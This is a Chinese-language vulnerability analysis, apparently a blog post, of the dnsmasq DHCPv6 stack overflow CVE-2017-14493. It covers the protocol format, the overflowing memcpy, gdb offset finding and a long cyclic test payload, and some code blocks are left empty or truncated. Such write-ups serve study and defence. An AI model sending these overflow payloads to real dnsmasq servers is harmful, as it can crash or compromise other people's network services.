【CVE分析】CVE-2017-14493 dnsmasq栈缓冲区溢出漏洞
dnsmasq 栈缓冲区溢出漏洞
漏洞详情
具体信息参考 【CVE分析】CVE-2017-14492 dnsmasq堆缓冲区溢出漏洞 。
漏洞复现
环境搭建
参考 【CVE分析】CVE-2017-14492 dnsmasq堆缓冲区溢出漏洞。启动命令和调试配置方式也完全相同。
漏洞测试
在 GitHub 下载 poc :https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/CVE-2017-14493.py
启动 dnsmasq 后,运行 poc:
1 | python 14493.py ::1 547 |
触发了 stack smashing,可以确定是栈溢出。
漏洞分析
分析之前的准备
参考链接:
DHCPv6 (Dynamic Host Configuration Protocol for IPv6) 是一个用来分配 IPv6 地址、前缀以及 DNS 等配置的网络协议。它属于应用层协议,封装于 UDP 中。其报文格式如下:
- msg-type:长度 8 比特,表示报文的类型,总共定义了 13 种消息类型。
- Solicit ,DHCPv6 客户端使用 Solicit 报文来发现 DHCPv6 服务器的位置。
- Advertise ,DHCPv6 服务器发送 Advertise 报文来对 Solicit 报文进行回应,通告客户端能够提供哪些 DHCPv6 服务。
- Request ,DHCPv6 客户端发送 Request 报文来向 DHCPv6 服务器请求 IPv6 地址和其它配置信息。
- Confirm ,DHCPv6 客户端向任意可达的 DHCPv6 服务器发送 Confirm 报文检查自己目前获得的 IPv6 地址是否适用与它所连接的链路。
- Reply ,DHCPv6 服务器在以下场合发送 Reply 报文:
- DHCPv6 服务器发送携带了地址和配置信息的 Reply 消息来回应从 DHCPv6 客户端收到的 Solicit、Request、Renew、Rebind 报文。
- DHCPv6 服务器发送携带配置信息的 Reply 消息来回应收到的 Information-Request 报文。
- 用来回应 DHCPv6 客户端发来的 Confirm、Release、Decline 报文。
- transaction-id:长度 24 比特,表示 DHCPv6 客户端随机生成的交互 ID(服务端发起的报文交互 ID 为 0),用来标识一次来回交互的 DHCPv6 报文。例如 Solicit/Advertise 报文为一次交互,Request/Reply 报文为另外一次交互,两者有不同的交互 ID。
- options:根据消息类型不一样长度可变,表示 DHCPv6 的可选字段。此字段包含了 DHCPv6 服务器分配给 IPv6 主机的配置信息,如客户端标识、服务器标识或有效生命周期等信息。
用户向 DHCPv6 服务器请求 ip 的通信流程如下:
分析漏洞
和 CVE-2017-14492 漏洞非常类似,CVE-2017-14493 漏洞在于对 DHCPv6 数据包 option 字段的解析上。同样是在传递 MAC 地址时超过了缓冲区的大小。
导致崩溃的函数调用栈如下:
1 | // dhcp6_maybe_relay(), rfc3315.c, line 207 |
memcpy()
从指针 opt 处进行字符串的复制。通过查找 state->mac
字段的定义,只定义了 16 字节的缓冲区。但是拷贝的字符串长度是 80 字节,显然造成溢出。
1 | 0x16f4328: 0x4141414141414141 0x4141414141414141 |
1 |
|
利用漏洞
前面确认了缓冲区溢出漏洞的发生,且崩溃时提示 stack smash,说明覆盖了 canary。接下来进行详细的分析。通过简单的判断,溢出所在的缓冲区在父级函数 dhcp6_reply()
中。在我编译出来的这个可执行文件里,它在调用函数之前保存了若干寄存器,而不是简单地 leave; ret
方式的返回:
为了省事,我在 0x42f840 处(dhcp6_reply()
函数的首地址)设置断点,查看函数返回地址信息:
然后在 0x42dc77 处(dhcp6_maybe_relay()
函数第 211 行 memcpy 调用)设置断点,查看溢出能够覆盖的位置:
溢出字节的长度是可以控制的,只要多写 24 个字节就可以设置返回地址了。但是中间覆盖了 canary,canary 检查的代码如下,对应的 canary 字段在上面图中用绿色字段标注。
我修改了一下 poc,把 payload 替换成 cyclic 2048
生成的不重复字符串,方便判断位置:
1 | payload = "... ..." # cyclic 2048 |
tips:gdb 调试也可以直接附加命令行参数
r -k -C /tmp/dnsmasq.conf –no-daemon –dhcp-range=fd00::2,fd00::ff –enable-ra
本来是想看看多覆盖几个字节,看看会不会有其他地方崩溃。但最后也没发现。调整了一下 exp,利用 stack smash 随便打印了几个字符串,勉强算是玩玩利用吧。如果要运行 shellcode 还是得关了 canary 才行。真是程序确实不好泄漏。
1 | payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaau" |